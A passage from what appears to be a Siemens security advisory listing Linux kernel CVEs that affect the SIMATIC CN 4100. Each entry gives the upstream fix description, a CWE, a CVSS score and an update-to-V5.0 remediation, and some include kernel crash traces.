light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39689\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--> return will return to caller put_bh --> trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39692\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference [WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1025 Comparison Using Wrong Factors\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-208 Observable Timing Discrepancy\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39703\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth0_to_hsr \u251c\u2500\u2500\u2500\u2524 hsr_slave0 \u253c\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2524 hsr0 \u251c\u2500\u2500\u2500\u2510 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth1_to_hsr \u253c\u2500\u2500\u2500\u2524 hsr_slave1 \u251c\u2500\u2500\u2500\u2518 \u2514\u2524 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u250c\u253c bridge \u2502 \u2502\u2502 \u2502 \u2502\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39709\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39710\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain->buf_len is performed before acquiring rain->buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain->buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39716\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39718\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.6\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39719\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though 